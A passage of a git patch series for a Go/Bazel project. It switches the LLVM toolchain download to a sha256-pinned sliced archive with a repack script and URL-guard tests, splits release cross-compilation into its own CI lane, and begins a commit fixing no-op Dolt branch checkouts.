BAZEL_INTEGRATION: ${{ needs.bazel.outputs.bazel-integration || 'skipped' }} BAZEL_DOLTSERVER: ${{ needs.bazel.outputs.bazel-doltserver || 'skipped' }} diff --git a/MODULE.bazel b/MODULE.bazel index b429ea297..4daf1ae58 100644 --- a/MODULE.bazel +++ b/MODULE.bazel @@ -111,15 +111,24 @@ llvm_dist( # which pulls in compiler-rt's profile runtime (~170KB). "lib/clang/22/lib/x86_64-unknown-linux-gnu/libclang_rt.profile.a", ], - sha256 = "df0e1ecf16caf3489a272a5eea4eec9b0d82878f6477fa309504f918a0006384", - strip_prefix = "LLVM-22.1.8-Linux-X64", + # LLVM-22.1.8-Linux-X64.tar.xz (sha256 df0e1ecf...0006384), sliced to the + # members above by tools/cc_toolchain/repack_llvm.sh: 149 MB instead of + # 1.94 GB, and no single-threaded xz pass on every cold runner. The files + # are byte-identical to the release's, so no action key changes. + # tools/cc_toolchain/llvm_members.txt must list the same members. + sha256 = "de6147773999137b70ef3d7bd8ecb1e5b91f2a161d02fd09aec591b84516bec5", + sliced = True, stub_tools = [ "clang-format", "clang-tidy", "clangd", "llvm-dwp", ], - urls = ["https://github.com/llvm/llvm-project/releases/download/llvmorg-22.1.8/LLVM-22.1.8-Linux-X64.tar.xz"], + # The sha256 pin, not the host, guarantees the bytes. gascity's release + # asset for now; a beads mirror of the same bytes can be listed first. + urls = [ + "https://github.com/gastownhall/gascity/releases/download/toolchain-llvm-22.1.8-slice-1/LLVM-22.1.8-Linux-X64-slice.tar.zst", + ], ) # Every other host (macOS arm64, Linux arm64) runs toolchains_llvm's stock @@ -195,6 +204,23 @@ go_deps.gazelle_override( ], path = "github.com/dolthub/go-mysql-server", ) + +# protoc-gen-validate ships validate/validate.pb.go, so its Go library can +# compile from the checked-in code. Its own validate/BUILD instead makes the +# Go library a go_proto_library, so every lane built protoc from source just +# to regenerate that file: about 4.5k C++ compile, link and archive actions, +# each carrying the LLVM toolchain as inputs. The module reaches the graph +# only through grpc xds and the cloud SDKs. Gazelle regenerates its BUILD +# files with proto rules off; build_file_name makes it write BUILD.bazel (which +# Bazel prefers) rather than merge into the upstream BUILD files. +go_deps.gazelle_override( + build_file_generation = "on", + directives = [ + "gazelle:build_file_name BUILD.bazel", + "gazelle:proto disable", + ], + path = "github.com/envoyproxy/protoc-gen-validate", +) go_deps.module_override( patch_strip = 1, patches = ["//third_party/patches:eventsapi_schema_build.patch"], diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index 8bc7ebb4e..fb22a7410 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -55,9 +55,9 @@ Current PR-related workflow names: outputs (`rbe-enabled` is `true` in `remote`, `fork-ro` and `fork-rw`); every lane exports its `job.status` as an output named after the job. `pr.yml`'s gate requires the - call's result (`BAZEL`) and `BAZEL_TEST`, `BAZEL_PURE`, `BAZEL_EMBEDDED`, - `BAZEL_INTEGRATION`, `BAZEL_DOLTSERVER`, `BAZEL_PROXIED` and - `BAZEL_SERVER_STORAGE`. These lanes are the only CI run of the Linux Go + call's result (`BAZEL`) and `BAZEL_TEST`, `BAZEL_PURE`, + `BAZEL_RELEASE_CROSS`, `BAZEL_EMBEDDED`, `BAZEL_INTEGRATION`, + `BAZEL_DOLTSERVER`, `BAZEL_PROXIED` and `BAZEL_SERVER_STORAGE`. These lanes are the only CI run of the Linux Go test tiers: the legacy jobs they mirrored in `pr.yml` and `pr-risk.yml` are retired (ga-96smfk.22; see [Legacy Tier Retirement](#legacy-tier-retirement-d2)), so the gate also @@ -899,8 +899,9 @@ Required` requires them to have run remotely and passed. `TestPinnedDoltCLIMatchesContainerImage`. The release-target cross-compilation (formerly pr.yml's `check-release-target-cross-compilation`, `go build ./...` with - `CGO_ENABLED=0` per target) is a step of bazel.yml's `bazel-pure` lane - (`BAZEL_PURE`): `scripts/ci/bazel-release-cross-compile.sh` runs one + `CGO_ENABLED=0` per target) is bazel.yml's `bazel-release-cross` lane + (`BAZEL_RELEASE_CROSS`), split out of `bazel-pure` so it runs in + parallel with it: `scripts/ci/bazel-release-cross-compile.sh` runs one remote `bazel build //tools/bazel:release_cross`, every `go_library` and `go_binary` for each row of `scripts/ci/release-targets.txt`, plus `//tools/bazel:pure_bd_has_no_cgo_only_deps` (a pure bd must not link @@ -910,7 +911,7 @@ Required` requires them to have run remotely and passed. equal to the toolchain's) and the golangci-lint linters `.golangci.yml` enables run as nogo (`//tools/nogo`) beside every compile of every Bazel lane: natively in `bazel test //... --config=ci`, and for every release - platform in the `bazel-pure` lane's release cross-compile + platform in the `bazel-release-cross` lane (engdocs/LINTING.md). The former `scripts-go-checks` (`Go checks (vet)`) and `pr-lint-wrapper` (`PR Lint (native|windows|darwin)`) jobs are retired. @@ -1116,7 +1117,7 @@ scope, not this slice's. `scripts/ci/check-release-cross-compile.sh `, which builds every target in its group sequentially and reports every failure before exiting non-zero, so a PR touching two platforms at once sees both failures in one - log instead of needing a per-target re-run. (Since retired: bazel.yml's `bazel-pure` + log instead of needing a per-target re-run. (Since retired: bazel.yml's `bazel-release-cross` lane builds the same manifest with Bazel, `--platforms` per target.) - **`advisory-reports` fold.** `build-examples` and `complexity-report` (both already advisory: neither was in ci-gate's `needs`/`CI_GATE_REQUIRED`) diff --git a/engdocs/LINTING.md b/engdocs/LINTING.md index 15a8c4bdf..991a6d0a3 100644 --- a/engdocs/LINTING.md +++ b/engdocs/LINTING.md @@ -42,8 +42,8 @@ Where it gates: - **bazel.yml's `test` lane** (required through `CI Gate / Required`): `bazel test //... --config=ci` validates every package natively. -- **bazel.yml's `pure` lane** (required): its release cross-compile - (`scripts/ci/bazel-release-cross-compile.sh`) builds +- **bazel.yml's `release cross-compile` lane** (`bazel-release-cross`, + required): `scripts/ci/bazel-release-cross-compile.sh` builds `//tools/bazel:release_cross`, every `go_library` and `go_binary` split-transitioned to each release platform without cgo, and nogo validates each of those compiles. So `//go:build windows`, `darwin`, diff --git a/engdocs/TESTING.md b/engdocs/TESTING.md index 7a2a62915..9adaed89f 100644 --- a/engdocs/TESTING.md +++ b/engdocs/TESTING.md @@ -36,7 +36,8 @@ Each lane, as bazel.yml runs it (add your `--config=fork-cache` or |---|---|---| | Test (`bazel-test`) | `make test`, i.e. `bazel test //... --config=ci` | PR Core's selection: race, `-short`, skips. Includes nogo, gofmt and the repository guards. The default gate for every Go change. | | Lint, all platforms | `make ci-pr-lint` | nogo natively plus the windows/amd64 and darwin/arm64 passes. `make lint-changed` covers only your changed packages. | -| Pure-Go (`bazel-pure`) | `bazel build --config=pure //cmd/bd:bd //cmd/bd:bd_test` | cgo off. The job's cmd/bd test subset (`PURE_CMD_BD_TESTS`), release cross-compile and js/wasm step are in bazel.yml. | +| Pure-Go (`bazel-pure`) | `bazel build --config=pure //cmd/bd:bd //cmd/bd:bd_test` | cgo off. The job's cmd/bd test subset (`PURE_CMD_BD_TESTS`) and js/wasm step are in bazel.yml. | +| Release cross-compile (`bazel-release-cross`) | `./scripts/ci/bazel-release-cross-compile.sh` | Every `go_library`/`go_binary` for each row of `scripts/ci/release-targets.txt`, cgo off, with nogo. | | Integration (`bazel-integration`) | `bazel test //... --config=integration` | The `integration`-tagged build. Runs with the read-only cache too. | | Dolt server (`bazel-doltserver`) | `bazel test //... --config=doltserver` | Starts its own `dolt sql-server` from the pinned binary; no docker. | | cmd/bd Dolt server (`bazel-cmd-dolt`) | `bazel test //cmd/bd:bd_dolt_server_test --config=doltserver-cmd` | 16 shards of the integration-tagged cmd/bd suite. | diff --git a/scripts/bazel_hermetic_cc_test.go b/scripts/bazel_hermetic_cc_test.go index bd0a74721..335d0e648 100644 --- a/scripts/bazel_hermetic_cc_test.go +++ b/scripts/bazel_hermetic_cc_test.go @@ -26,6 +26,9 @@ const ( hermeticCCLLVMLabel = "@llvm_dist_linux_x86_64//:BUILD.bazel" // Every other host's stock LLVM release (toolchains_llvm's sha256 table). hermeticCCHostLLVMLabel = "@llvm_dist_host//:BUILD.bazel" + // The members list tools/cc_toolchain/repack_llvm.sh slices the release + // to; it must equal llvm_dist's members (MODULE.bazel). + hermeticCCLLVMMembersFile = "tools/cc_toolchain/llvm_members.txt" ) var ( @@ -33,6 +36,11 @@ var ( // snapshot.ubuntu.com serves each timestamp's archive state forever; a // moving mirror (archive.ubuntu.com) may only follow it as a fallback. ubuntuSnapshotRE = regexp.MustCompile(`^https://snapshot\.ubuntu\.com/ubuntu/\d{8}T\d{6}Z/$`) + // A sliced llvm_dist archive is a repack (repack_llvm.sh), not an + // upstream release, so it may only come from a gastownhall release: + // beads' own mirror or gascity's original asset (same bytes, same sha256). + llvmSliceURLRE = regexp.MustCompile(`^https://github\.com/gastownhall/(beads|gascity)/releases/download/toolchain-llvm-[0-9.]+-slice-[0-9]+/[A-Za-z0-9._-]+\.tar\.zst$`) + quotedStringRE = regexp.MustCompile(`"([^"]*)"`) ) // moduleCall returns the argument text of the single top-level call @@ -136,6 +144,46 @@ func checkHermeticCCModule(module string) []error { return errs } +// checkHermeticLLVMSlice: a sliced llvm_dist downloads only from a +// gastownhall release, and its members equal the repack script's list, so +// the pinned slice can be rebuilt from upstream and checked file by file. +func checkHermeticLLVMSlice(module, membersFile string) []error { + dist, err := moduleCall(module, "llvm_dist", `name = "llvm_dist_linux_x86_64"`) + if err != nil { + return []error{err} + } + if !strings.Contains(dist, "sliced = True,") { + return nil + } + var errs []error + urls := regexp.MustCompile(`(?s)urls = \[(.*?)\]`).FindStringSubmatch(dist) + if urls == nil || len(quotedStringRE.FindAllStringSubmatch(urls[1], -1)) == 0 { + errs = append(errs, errors.New("sliced llvm_dist has no urls")) + } else { + for _, u := range quotedStringRE.FindAllStringSubmatch(urls[1], -1) { + if !llvmSliceURLRE.MatchString(u[1]) { + errs = append(errs, errors.New("sliced llvm_dist url "+u[1]+" is not a gastownhall/beads or gastownhall/gascity release .tar.zst")) + } + } + } + var members []string + if body := regexp.MustCompile(`(?s)members = \[(.*?)\]`).FindStringSubmatch(dist); body != nil { + for _, m := range quotedStringRE.FindAllStringSubmatch(body[1], -1) { + members = append(members, m[1]) + } + } + var listed []string + for _, line := range strings.Split(membersFile, "\n") { + if line = strings.TrimSpace(line); line != "" { + listed = append(listed, line) + } + } + if len(members) == 0 || strings.Join(members, "\n") != strings.Join(listed, "\n") { + errs = append(errs, errors.New("llvm_dist members must equal "+hermeticCCLLVMMembersFile+" (same order), or the pinned slice cannot be rebuilt by repack_llvm.sh")) + } + return errs +} + // checkHermeticCCBazelRC: host detection is off unconditionally (every // command, every config) and nothing hands actions a host compiler. func checkHermeticCCBazelRC(rc string) []error { @@ -175,7 +223,11 @@ func checkHermeticCCBazelRC(rc string) []error { func TestBazelHermeticCCToolchain(t *testing.T) { root := bazelPolicyRoot(t) - for _, err := range checkHermeticCCModule(readPolicyFile(t, root, hermeticCCModuleFile)) { + module := readPolicyFile(t, root, hermeticCCModuleFile) + for _, err := range checkHermeticCCModule(module) { + t.Error(err) + } + for _, err := range checkHermeticLLVMSlice(module, readPolicyFile(t, root, hermeticCCLLVMMembersFile)) { t.Error(err) } for _, err := range checkHermeticCCBazelRC(readPolicyFile(t, root, ".bazelrc")) { @@ -271,3 +323,46 @@ llvm.sysroot( } } } + +func TestBazelHermeticLLVMSliceGuards(t *testing.T) { + sum := strings.Repeat("ab", 32) + slice := "https://github.com/gastownhall/gascity/releases/download/toolchain-llvm-22.1.8-slice-1/LLVM-22.1.8-Linux-X64-slice.tar.zst" + mirror := "https://github.com/gastownhall/beads/releases/download/toolchain-llvm-22.1.8-slice-1/LLVM-22.1.8-Linux-X64-slice.tar.zst" + module := `llvm_dist( + name = "llvm_dist_linux_x86_64", + members = [ + "bin/clang", + # a comment + "lib/clang/22/include", + ], + sha256 = "` + sum + `", + sliced = True, + urls = [ + "` + mirror + `", + "` + slice + `", + ], +) +` + members := "bin/clang\nlib/clang/22/include\n" + if errs := checkHermeticLLVMSlice(module, members); len(errs) != 0 { + t.Fatalf("good sliced llvm_dist fixture: %v", errs) + } + unsliced := strings.Replace(strings.Replace(module, " sliced = True,\n", "", 1), slice, "https://github.com/llvm/llvm-project/releases/download/llvmorg-22.1.8/LLVM-22.1.8-Linux-X64.tar.xz", 1) + if errs := checkHermeticLLVMSlice(unsliced, members); len(errs) != 0 { + t.Fatalf("unsliced llvm_dist needs no slice host or members file: %v", errs) + } + for name, bad := range map[string][2]string{ + "other host": {strings.Replace(module, slice, "https://example.com/LLVM-22.1.8-Linux-X64-slice.tar.zst", 1), members}, + "other repo": {strings.Replace(module, "gastownhall/gascity", "someone/gascity", 1), members}, + "xz release": {strings.Replace(module, slice, "https://github.com/gastownhall/gascity/releases/download/toolchain-llvm-22.1.8-slice-1/LLVM.tar.xz", 1), members}, + "no urls": {strings.Replace(strings.Replace(module, `"`+slice+`",`, "", 1), `"`+mirror+`",`, "", 1), members}, + "member missing": {module, "bin/clang\n"}, + "member extra": {module, members + "bin/lld\n"}, + "member reordered": {module, "lib/clang/22/include\nbin/clang\n"}, + "empty member file": {module, ""}, + } { + if len(checkHermeticLLVMSlice(bad[0], bad[1])) == 0 { + t.Errorf("%s: expected an error for sliced llvm_dist fixture:\n%s\nmembers:\n%s", name, bad[0], bad[1]) + } + } +} diff --git a/scripts/ci_analytics_workflow_test.go b/scripts/ci_analytics_workflow_test.go index d94a94c16..e76b9ad02 100644 --- a/scripts/ci_analytics_workflow_test.go +++ b/scripts/ci_analytics_workflow_test.go @@ -29,10 +29,11 @@ var ciAnalyticsLaneJobs = map[string]string{ // TestBazelLaneIsGatedAlongsideLegacy's gated/advisory/flag-gated split, so // a new job in bazel.yml can't silently go unaccounted for here either. var ciAnalyticsExcludedJobs = map[string]string{ - "rbe": "decides the execution mode; builds nothing itself, so there is no BEP/exec-log/profile to summarize", - "rbe-prewarm": "best-effort pre-warm dispatch to gascity's rbe-west pool; not a build/test lane", - "package-mcp": "F3 package gate; runs pytest, not a bazel invocation with a BEP to extract", - "package-npm": "F3 package gate; runs npm, not a bazel invocation with a BEP to extract", + "rbe": "decides the execution mode; builds nothing itself, so there is no BEP/exec-log/profile to summarize", + "rbe-prewarm": "best-effort pre-warm dispatch to gascity's rbe-west pool; not a build/test lane", + "package-mcp": "F3 package gate; runs pytest, not a bazel invocation with a BEP to extract", + "package-npm": "F3 package gate; runs npm, not a bazel invocation with a BEP to extract", + "bazel-release-cross": "one bazel-release-cross-compile.sh run with no BEP/exec-log/profile capture, as when it was a bazel-pure step", } // ciAnalyticsRunTemplateRE finds a GitHub Actions expression (${{ ... }}) diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index d3cdeab5b..f5479a463 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -125,37 +125,55 @@ func TestPRCIGateDropsRetiredPolicyAndLintJobs(t *testing.T) { } } -// TestReleaseCrossCompileRunsInBazelPureLane pins the release-target -// cross-compilation gate into bazel.yml's pure-Go lane, whose job.status -// ci-gate requires (BAZEL_PURE), and keeps the retired pr.yml job from -// coming back beside it: a second, `go build` copy of the gate would run -// every target twice. -func TestReleaseCrossCompileRunsInBazelPureLane(t *testing.T) { +// TestReleaseCrossCompileRunsInItsOwnBazelLane pins the release-target +// cross-compilation gate into bazel.yml's bazel-release-cross lane, whose +// job.status ci-gate requires (BAZEL_RELEASE_CROSS), and keeps it from +// running twice: not back in bazel-pure (where it was a step on the longest +// cached lane), and not as the retired pr.yml `go build` job beside it. +func TestReleaseCrossCompileRunsInItsOwnBazelLane(t *testing.T) { const ( retiredJob = "check-release-target-cross-compilation" retiredToken = "CHECK_RELEASE_TARGET_CROSS_COMPILATION" stepName = "Cross-compile every release target (--config=release-cross)" + script = "./scripts/ci/bazel-release-cross-compile.sh" ) pr := readCIWorkflow(t, "pr.yml") if _, ok := pr.Jobs[retiredJob]; ok { - t.Errorf("pr.yml still defines %s; bazel.yml's %s lane runs the release cross-compilation", retiredJob, bazelPureJobName) + t.Errorf("pr.yml still defines %s; bazel.yml's %s lane runs the release cross-compilation", retiredJob, bazelReleaseCrossJobName) } gate := pr.job(t, "ci-gate") gateEnv := gate.step(t, "Evaluate CI gate").Env if contains(gate.Needs, retiredJob) || gateEnv[retiredToken] != "" || contains(strings.Fields(gateEnv["CI_GATE_REQUIRED"]), retiredToken) { t.Errorf("ci-gate still wires the retired %s job", retiredJob) } - if !contains(strings.Fields(gateEnv["CI_GATE_REQUIRED"]), "BAZEL_PURE") { - t.Errorf("ci-gate CI_GATE_REQUIRED does not include BAZEL_PURE, the lane that cross-compiles the release targets") + if !contains(strings.Fields(gateEnv["CI_GATE_REQUIRED"]), "BAZEL_RELEASE_CROSS") { + t.Errorf("ci-gate CI_GATE_REQUIRED does not include BAZEL_RELEASE_CROSS, the lane that cross-compiles the release targets") } - run := readCIWorkflow(t, bazelWorkflowName).job(t, bazelPureJobName).step(t, stepName).Run + bazel := readCIWorkflow(t, bazelWorkflowName) + for name, job := range bazel.Jobs { + if name == bazelReleaseCrossJobName { + continue + } + for _, step := range job.Steps { + if strings.Contains(step.Run, script) { + t.Errorf("%s step %q runs %s too; only %s cross-compiles the release targets", name, step.Name, script, bazelReleaseCrossJobName) + } + } + } + cross := bazel.job(t, bazelReleaseCrossJobName) + pure := bazel.job(t, bazelPureJobName) + if cross.RunsOn != pure.RunsOn || cross.If != pure.If || !slices.Equal(cross.Needs, pure.Needs) { + t.Errorf("%s runs-on/if/needs = %q / %q / %v, want %s's %q / %q / %v", + bazelReleaseCrossJobName, cross.RunsOn, cross.If, cross.Needs, bazelPureJobName, pure.RunsOn, pure.If, pure.Needs) + } + run := cross.step(t, stepName).Run for _, required := range []string{ "set -euo pipefail", - "./scripts/ci/bazel-release-cross-compile.sh", + script, } { if !strings.Contains(run, required) { - t.Errorf("%s step %q does not contain %q:\n%s", bazelPureJobName, stepName, required, run) + t.Errorf("%s step %q does not contain %q:\n%s", bazelReleaseCrossJobName, stepName, required, run) } } @@ -1712,16 +1730,19 @@ func captureOne(t *testing.T, pattern, body, source string) string { // --- Bazel lane (.github/workflows/bazel.yml, gated through pr.yml) ---------- const ( - bazelWorkflowName = "bazel.yml" - bazelJobName = "bazel-test" - bazelPureJobName = "bazel-pure" - bazelDoltJobName = "bazel-doltserver" - bazelEmbedJobName = "bazel-embedded" - bazelRBEJobName = "rbe" - bazelIntegJobName = "bazel-integration" - bazelProxiedJobName = "bazel-proxied" - bazelServerJobName = "bazel-server-storage" - bazelCmdDoltJobName = "bazel-cmd-dolt" + bazelWorkflowName = "bazel.yml" + bazelJobName = "bazel-test" + bazelPureJobName = "bazel-pure" + // The release-target cross-compilation, split out of bazel-pure so it + // runs in parallel with it (same runner and skip rule). + bazelReleaseCrossJobName = "bazel-release-cross" + bazelDoltJobName = "bazel-doltserver" + bazelEmbedJobName = "bazel-embedded" + bazelRBEJobName = "rbe" + bazelIntegJobName = "bazel-integration" + bazelProxiedJobName = "bazel-proxied" + bazelServerJobName = "bazel-server-storage" + bazelCmdDoltJobName = "bazel-cmd-dolt" // F3: the MCP and npm package gates, moved here from pr.yml so they need // only the rbe job. Unlike every other lane they do not mirror a Bazel // config; pr.yml opts them in with package-gates: "on". @@ -1746,8 +1767,8 @@ const ( // Same SHA/comment already used in this repo for this action (rbe- // prewarm's mint step, update-flake-lock.yml). appTokenActionSHA = "bcd2ba49218906704ab6c1aa796996da409d3eb1" - bazelCacheKeyPrefix = "bazel-repo-v3-${{ runner.os }}-" - bazelCacheKey = bazelCacheKeyPrefix + "${{ hashFiles('.bazelversion', 'MODULE.bazel.lock') }}" + bazelCacheKeyPrefix = "bazel-repo-v4-${{ runner.os }}-" + bazelCacheKey = bazelCacheKeyPrefix + "${{ hashFiles('.bazelversion', 'MODULE.bazel', 'MODULE.bazel.lock') }}" bazelCachePath = "${{ runner.temp }}/bazel-ci-cache" // Save only from a push to main that missed the exact key: the content is // fixed by the key, so re-saving every push only churns the quota. @@ -1758,7 +1779,7 @@ const ( // bazel.yml's jobs: the rbe job that decides the execution mode, the // --config=ci lane, one job per CI job a Bazel config mirrors, and the two // package gates (F3), sorted alphabetically to match TestBazelWorkflowJobsAndExecutionMode's sort.Strings. -var bazelJobNames = []string{bazelCmdDoltJobName, bazelDoltJobName, bazelEmbedJobName, bazelIntegJobName, bazelProxiedJobName, bazelPureJobName, bazelServerJobName, bazelJobName, bazelPackageMCPJobName, bazelPackageNPMJobName, bazelRBEJobName, bazelRBEPrewarmJobName} +var bazelJobNames = []string{bazelCmdDoltJobName, bazelDoltJobName, bazelEmbedJobName, bazelIntegJobName, bazelProxiedJobName, bazelPureJobName, bazelReleaseCrossJobName, bazelServerJobName, bazelJobName, bazelPackageMCPJobName, bazelPackageNPMJobName, bazelRBEJobName, bazelRBEPrewarmJobName} // The lanes that only run remotely (skipped unless the rbe job chose remote); // bazel-integration runs remotely or with the read-only cache (bazelIntegIf); @@ -1848,10 +1869,12 @@ var bazelWorkflowTriggers = []string{"push", "workflow_call", "workflow_dispatch // TestBazelGateSimulation), for the recorded reason. A new job in bazel.yml // must be added to one of the two (TestBazelLaneIsGatedAlongsideLegacy). var bazelLaneGateIDs = map[string]string{ - bazelJobName: "BAZEL_TEST", - bazelPureJobName: "BAZEL_PURE", - bazelEmbedJobName: "BAZEL_EMBEDDED", - bazelDoltJobName: "BAZEL_DOLTSERVER", + bazelJobName: "BAZEL_TEST", + bazelPureJobName: "BAZEL_PURE", + // Every release target cross-compiled, cgo off (and nogo over each). + bazelReleaseCrossJobName: "BAZEL_RELEASE_CROSS", + bazelEmbedJobName: "BAZEL_EMBEDDED", + bazelDoltJobName: "BAZEL_DOLTSERVER", // Remote-only PR Risk tiers (fork and Dependabot PRs rely on // pr-risk.yml's legacy jobs, like the embedded tier's). bazelProxiedJobName: "BAZEL_PROXIED", diff --git a/third_party/cc_toolchain/llvm_dist.bzl b/third_party/cc_toolchain/llvm_dist.bzl index 994aeef39..93fab6b23 100644 --- a/third_party/cc_toolchain/llvm_dist.bzl +++ b/third_party/cc_toolchain/llvm_dist.bzl @@ -9,16 +9,26 @@ it plugs in through `llvm.toolchain_root`. """ def _llvm_dist_impl(rctx): - archive = "_llvm.tar.xz" - rctx.download(url = rctx.attr.urls, output = archive, sha256 = rctx.attr.sha256) - res = rctx.execute( - ["tar", "-xJf", archive, "--strip-components=1"] + - [rctx.attr.strip_prefix + "/" + m for m in rctx.attr.members], - timeout = 3600, - ) - if res.return_code != 0: - fail("llvm_dist: extracting %s failed:\n%s" % (rctx.attr.urls[0], res.stderr)) - rctx.delete(archive) + if rctx.attr.sliced: + # A members-only, zstd archive of the same release (tools/cc_toolchain/ + # repack_llvm.sh): the same bytes as the tar -xJf below, extracted by + # Bazel itself in seconds instead of a minute-plus of single-threaded xz + # on every cold CI runner. Action keys are unchanged (identical files). + rctx.download_and_extract(url = rctx.attr.urls, sha256 = rctx.attr.sha256, type = "tar.zst") + missing = [m for m in rctx.attr.members if not rctx.path(m).exists] + if missing: + fail("llvm_dist: the sliced archive lacks %s" % ", ".join(missing)) + else: + archive = "_llvm.tar.xz" + rctx.download(url = rctx.attr.urls, output = archive, sha256 = rctx.attr.sha256) + res = rctx.execute( + ["tar", "-xJf", archive, "--strip-components=1"] + + [rctx.attr.strip_prefix + "/" + m for m in rctx.attr.members], + timeout = 3600, + ) + if res.return_code != 0: + fail("llvm_dist: extracting %s failed:\n%s" % (rctx.attr.urls[0], res.stderr)) + rctx.delete(archive) # toolchains_llvm symlinks a fixed tool list into its toolchain package; # tools this repository leaves out get a stub that fails loudly if run. @@ -42,7 +52,10 @@ llvm_dist = repository_rule( "llvm_version": attr.string(mandatory = True), "urls": attr.string_list(mandatory = True), "sha256": attr.string(mandatory = True), - "strip_prefix": attr.string(mandatory = True), + "strip_prefix": attr.string(doc = "The release archive's top directory (unsliced archives only)."), + "sliced": attr.bool( + doc = "urls is a members-only .tar.zst made by repack_llvm.sh, not the release .tar.xz.", + ), "members": attr.string_list( mandatory = True, doc = "Archive paths (below strip_prefix) to extract.", diff --git a/tools/cc_toolchain/llvm_members.txt b/tools/cc_toolchain/llvm_members.txt new file mode 100644 index 000000000..8733e050e --- /dev/null +++ b/tools/cc_toolchain/llvm_members.txt @@ -0,0 +1,28 @@ +bin/clang +bin/clang++ +bin/clang-22 +bin/clang-cpp +bin/ld.lld +bin/ld64.lld +bin/lld +bin/llvm-ar +bin/llvm-as +bin/llvm-cov +bin/llvm-install-name-tool +bin/llvm-nm +bin/llvm-objcopy +bin/llvm-objdump +bin/llvm-profdata +bin/llvm-ranlib +bin/llvm-readelf +bin/llvm-readobj +bin/llvm-strip +bin/llvm-symbolizer +bin/wasm-ld +include/c++ +include/x86_64-unknown-linux-gnu +lib/clang/22/include +lib/clang/22/lib/x86_64-unknown-linux-gnu/clang_rt.crtbegin.o +lib/clang/22/lib/x86_64-unknown-linux-gnu/clang_rt.crtend.o +lib/clang/22/lib/x86_64-unknown-linux-gnu/libclang_rt.builtins.a +lib/clang/22/lib/x86_64-unknown-linux-gnu/libclang_rt.profile.a diff --git a/tools/cc_toolchain/repack_llvm.sh b/tools/cc_toolchain/repack_llvm.sh new file mode 100755 index 000000000..73978d8aa --- /dev/null +++ b/tools/cc_toolchain/repack_llvm.sh @@ -0,0 +1,39 @@ +#!/usr/bin/env bash +# Deterministic members-only repack of the pinned LLVM release for beads' +# hermetic C toolchain (MODULE.bazel llvm_dist "llvm_dist_linux_x86_64"). +# +# repack_llvm.sh MEMBERS_FILE OUT.tar.zst +# +# MEMBERS_FILE is one archive path per line (below the strip prefix); this +# directory's llvm_members.txt matches MODULE.bazel's llvm_dist_linux_x86_64 +# "members" exactly, so: +# tools/cc_toolchain/repack_llvm.sh tools/cc_toolchain/llvm_members.txt \ +# LLVM-22.1.8-Linux-X64-slice.tar.zst +# rebuilds and verifies the pinned slice. Changing MODULE.bazel's members +# list requires updating llvm_members.txt the same way, and vice versa. +# +# Downloads the upstream release (sha256-pinned, as MODULE.bazel pins it), +# extracts exactly the listed members (paths below the strip prefix), and +# writes a reproducible .tar.zst: sorted names, mtime 0, uid/gid 0, no xattrs. +# The extracted files are byte-identical to what llvm_dist.bzl extracts today, +# so every action key that reads them is unchanged; only the archive (URL, +# sha256, format) changes. Re-running the script yields the same sha256. +set -euo pipefail +members=${1:?members file} +out=${2:?output .tar.zst} +ver=22.1.8 +url="https://github.com/llvm/llvm-project/releases/download/llvmorg-${ver}/LLVM-${ver}-Linux-X64.tar.xz" +sha=df0e1ecf16caf3489a272a5eea4eec9b0d82878f6477fa309504f918a0006384 +prefix="LLVM-${ver}-Linux-X64" +work=$(mktemp -d) +trap 'rm -rf "$work"' EXIT +curl -fsSL -o "$work/llvm.tar.xz" "$url" +echo "$sha $work/llvm.tar.xz" | sha256sum -c - >/dev/null +mkdir "$work/x" +# xz is one stream: this is the slow, single-threaded step CI pays today. +# shellcheck disable=SC2046 # intentional: one archive path per tar argument +tar -xJf "$work/llvm.tar.xz" -C "$work/x" --strip-components=1 \ + $(sed "s#^#${prefix}/#" "$members") +tar -C "$work/x" --sort=name --mtime='@0' --owner=0 --group=0 --numeric-owner \ + --no-xattrs --no-acls --no-selinux -cf - . | zstd -19 -T0 -q -o "$out" -f +sha256sum "$out" From a8a0427f8636dd55d588ab694915e4799b6356d3 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Thu, 8 Oct 2026 03:47:50 +0000 Subject: [PATCH 161/325] fix(dolt): skip the no-op DOLT_CHECKOUT on fresh connections (#7322) Two fresh-connection paths ran CALL DOLT_CHECKOUT unconditionally: beginTxOnConn (the fallback path for the ignored-tables tx) and pinStoreBranch (used by the long-timeout versioned reads and the blocked recompute). A fresh session is normally already on the requested branch, so the checkout is a no-op. A least-privilege Dolt user may be granted EXECUTE on dolt_add/dolt_commit alone, and it is denied even a no-op checkout. For such a user: bd create --graph / bd mol wisp -> failed to checkout ignored tx branch main: Error 1105 (HY000): command denied to user ... bd history, bd recompute-blocked -> checkout active branch "main": ... command denied Both sites now share checkoutBranchIfNeeded, which reads active_branch() and checks out only when the session is on a different branch, matching what beginBorrowedTx already does. A real switch still happens when one is needed. pinStoreBranch now documents that conn must be a single session. Tests: mock-driver tests cover the skip, a real switch, and a failed branch read. Two real-server tests run as a least-privilege user (SELECT on the database, DML on the data tables, EXECUTE on dolt_add/dolt_commit only, pool pinned to one connection). They cover a wisp write through the fallback, RecomputeAllBlocked and History; each fails with the denial before the fix. Co-authored-by: Claude Opus 5.5 (1M context) --- internal/storage/dolt/BUILD.bazel | 1 + internal/storage/dolt/connection_pool_test.go | 4 +- internal/storage/dolt/store.go | 27 ++- internal/storage/dolt/transaction.go | 15 +- .../dolt/transaction_ignored_checkout_test.go | 228 ++++++++++++++++++ 5 files changed, 265 insertions(+), 10 deletions(-) create mode 100644 internal/storage/dolt/transaction_ignored_checkout_test.go diff --git a/internal/storage/dolt/BUILD.bazel b/internal/storage/dolt/BUILD.bazel index 9a14c1778..72a845965 100644 --- a/internal/storage/dolt/BUILD.bazel +++ b/internal/storage/dolt/BUILD.bazel @@ -347,6 +347,7 @@ go_test( "testmain_helper_sentinel_test.go", "testmain_test.go", "transaction_borrow_test.go", + "transaction_ignored_checkout_test.go", "transaction_phase_test.go", "transaction_test.go", "transaction_wisp_lifecycle_persistence_test.go", diff --git a/internal/storage/dolt/connection_pool_test.go b/internal/storage/dolt/connection_pool_test.go index 31eb8fa62..091f5179d 100644 --- a/internal/storage/dolt/connection_pool_test.go +++ b/internal/storage/dolt/connection_pool_test.go @@ -41,8 +41,8 @@ type mockDriver struct { 